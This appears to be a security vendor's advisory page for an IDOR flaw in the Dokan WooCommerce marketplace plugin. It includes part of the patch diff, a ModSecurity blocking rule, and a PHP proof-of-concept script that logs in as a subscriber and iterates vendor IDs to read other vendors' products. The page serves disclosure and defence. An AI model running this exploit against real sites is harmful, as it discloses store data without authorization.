 class VendorProductCategoriesController extends WC_REST_Product_Categories_Controller {
     /**
@@ -35,6 +36,19 @@
             )
         );

+        // Nested category tree for the product editor's hierarchical category picker.
+        register_rest_route(
+            $this->namespace,
+            '/' . $this->rest_base . '/tree',
+            array(
+                array(
+                    'methods'             => WP_REST_Server::READABLE,
+                    'callback'            => array( $this, 'get_tree' ),
+                    'permission_callback' => array( $this, 'get_items_permissions_check' ),
+                ),
+            )
+        );
+
         register_rest_route(
             $this->namespace,
             '/' . $this->rest_base . '/(?P<id>[d]+)',
@@ -104,4 +118,26 @@
         return parent::get_item( $request );
     }

+    /**
+     * Get the full nested product category tree.
+     *
+     * Returns the hierarchy as [ { value, label, children: [...] }, ... ] so the
+     * product editor can render an indented category picker without embedding the
+     * tree in the form schema.
+     *
+     * @since 5.0.5
+     *
+     * @param WP_REST_Request $request Full details about the request.
+     *
+     * @return WP_REST_Response
+     */
+    public function get_tree( $request ) {
+        $tree = apply_filters(
+            'dokan_rest_product_categories_tree',
+            ProductCategoryHelper::get_product_categories_tree( true ),
+            $request
+        );
+
+        return rest_ensure_response( $tree );
+    }
 }
--- a/dokan-lite/includes/functions-dashboard-navigation.php
+++ b/dokan-lite/includes/functions-dashboard-navigation.php
@@ -2,6 +2,7 @@

 use WeDevsDokanUtilitiesReportUtil;
 use WeDevsDokanDashboardTemplatesDashboard;
+use WeDevsDokanAdminDashboardLegacySwitcher;

 /**
  * Sort navigation menu items by position
@@ -29,6 +30,10 @@
  * @return array
  */
 function dokan_get_dashboard_nav(): array {
+    // The "Vendor Product Editor" setting drives the whole product UI, so the legacy editor also keeps the legacy listing page.
+    // TODO: Drop this toggle once the legacy product pages are removed — then always register the new (React) product page.
+    $use_new_product_ui = ! dokan_get_container()->get( LegacySwitcher::class )->is_product_editor_legacy_preferred();
+
     $menus = [
         'dashboard' => [
             'title'      => __( 'Dashboard', 'dokan-lite' ),
@@ -41,11 +46,10 @@
         'products'  => [
             'title'      => __( 'Products', 'dokan-lite' ),
             'icon'       => '<i class="fas fa-briefcase"></i>',
-            'url'        => dokan_get_navigation_url( 'products' ),
+            'url'        => dokan_get_navigation_url( 'products', $use_new_product_ui ),
             'pos'        => 30,
             'icon_name'  => 'Box',
             'permission' => 'dokan_view_product_menu',
-            'react_route' => 'products',
         ],
         'orders'    => [
             'title'       => __( 'Orders', 'dokan-lite' ),
--- a/dokan-lite/includes/functions.php
+++ b/dokan-lite/includes/functions.php
@@ -19,9 +19,13 @@
  *
  * @since 3.0.0
  *
+ * @deprecated 5.0.5 Misspelled name; use dokan_admin_menu_capability() instead.
+ *
  * @return string
  */
 function dokana_admin_menu_capability() {
+    wc_deprecated_function( 'dokana_admin_menu_capability', '5.0.5', 'dokan_admin_menu_capability()' );
+
     return dokan_admin_menu_capability();
 }

--- a/dokan-lite/templates/whats-new.php
+++ b/dokan-lite/templates/whats-new.php
@@ -4,6 +4,44 @@
  */
 $changelog = [
     [
+        'version'  => 'Version 5.0.5',
+        'released' => '2026-06-19',
+        'changes'  => [
+            'Improvement' => [
+                [
+                    'title'       => 'Migrated all admin dashboard tables to the unified Plugin UI DataViews component.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Updated price formatting in the product editor to use locale-specific display.',
+                    'description' => '',
+                ],
+            ],
+            'Fix' => [
+                [
+                    'title'       => 'Lazy-loaded product editor taxonomies (attributes, categories, and tags) to prevent memory exhaustion on large catalogues.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Escaped vendor-controlled values in store product search results to prevent stored XSS via a product SKU.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Restricted the Products REST endpoint so vendors can no longer access other vendors' products via the id parameter.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Decoded HTML entities in product category labels for correct rendering.',
+                    'description' => '',
+                ],
+                [
+                    'title'       => 'Corrected the product edit URL and improved dashboard navigation for the new product UI.',
+                    'description' => '',
+                ],
+            ],
+        ],
+    ],
+    [
         'version'  => 'Version 5.0.4',
         'released' => '2026-06-08',
         'changes'  => [
--- a/dokan-lite/vendor/composer/installed.php
+++ b/dokan-lite/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'wedevs/dokan',
-        'pretty_version' => 'v5.0.4',
-        'version' => '5.0.4.0',
-        'reference' => 'b41469e02ac35d3fd21f81c4ecee91f789478df1',
+        'pretty_version' => 'v5.0.5',
+        'version' => '5.0.5.0',
+        'reference' => '247986f9d91343515908c75f952ceb81d1753008',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -38,9 +38,9 @@
             'dev_requirement' => false,
         ),
         'wedevs/dokan' => array(
-            'pretty_version' => 'v5.0.4',
-            'version' => '5.0.4.0',
-            'reference' => 'b41469e02ac35d3fd21f81c4ecee91f789478df1',
+            'pretty_version' => 'v5.0.5',
+            'version' => '5.0.5.0',
+            'reference' => '247986f9d91343515908c75f952ceb81d1753008',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-json/dokan/vd+/products$" "id:20261987,phase:1,deny,status:403,chain,msg:'CVE-2026-11987: Dokan IDOR via id parameter - Authenticated vendor product disclosure',severity:'CRITICAL',tag:'CVE-2026-11987',tag:'wordpress',tag:'idor'"
  SecRule ARGS_GET:id "@rx ^d+$" "chain"
    SecRule REQUEST_HEADERS:X-WP-Nonce "@rx .+" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11987 - Dokan: AI Powered WooCommerce Multivendor Marketplace Solution <= 5.0.4 - Authenticated (Subscriber+) IDOR to Information Disclosure via 'id' Parameter

// Configuration - Update these values
$target_url = 'http://example.com'; // Target WordPress site URL (no trailing slash)
$username = 'subscriber'; // Valid subscriber account username
$password = 'password123'; // Valid subscriber account password

// Step 1: Authenticate and get cookies/nonce
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'rememberme' => 'forever',
        'wp-submit' => 'Log In'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_HEADER => true,
    CURLOPT_COOKIEJAR => '/tmp/dokan_idor_cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
curl_close($ch);

// Extract WordPress nonce from the response (simplified - in real scenario, parse from page source)
// For this PoC, we assume we can get a valid REST API nonce via the /wp-json/ endpoint

// Step 2: Get a REST API nonce (required for authenticated requests)
$api_nonce_url = $target_url . '/wp-json/dokan/v1/products';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $api_nonce_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/dokan_idor_cookies.txt',
    CURLOPT_HTTPHEADER => ['X-WP-Nonce: ' . 'PLACEHOLDER'], // Nonce would be extracted from wp_localize_script or similar
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Exploit IDOR - iterate through vendor IDs to read their products
// Vendor IDs are typically user IDs of users with the 'vendor' role
$target_vendor_ids = [2, 3, 5, 10, 15]; // Example vendor IDs to check

foreach ($target_vendor_ids as $vendor_id) {
    $exploit_url = $target_url . '/wp-json/dokan/v1/products?id=' . $vendor_id;
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $exploit_url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_COOKIEFILE => '/tmp/dokan_idor_cookies.txt',
        CURLOPT_HTTPHEADER => [
            'X-WP-Nonce: ' . 'PLACEHOLDER', // Replace with actual nonce
            'Content-Type: application/json'
        ],
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200) {
        $products = json_decode($response, true);
        echo "[+] Vendor ID $vendor_id returned " . count($products) . " products.n";
        if (!empty($products)) {
            foreach ($products as $product) {
                echo "  - Product ID: " . $product['id'] . " | Name: " . $product['name'] . " | Status: " . $product['status'] . "n";
            }
        }
    } else {
        echo "[-] Vendor ID $vendor_id returned HTTP $http_code (possibly patched or no access)n";
    }
}

// Alternative: Try reading a specific product by ID if collection endpoint is blocked
// Uncomment below to test single product access
/*
$single_product_url = $target_url . '/wp-json/dokan/v1/products/123';
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $single_product_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/dokan_idor_cookies.txt',
    CURLOPT_HTTPHEADER => ['X-WP-Nonce: ' . 'PLACEHOLDER'],
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
curl_close($ch);
echo "Single product response: " . $response . "n";
*/

// Clean up cookie file
unlink('/tmp/dokan_idor_cookies.txt');
echo "n[+] PoC Complete. Check output above for disclosed products.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School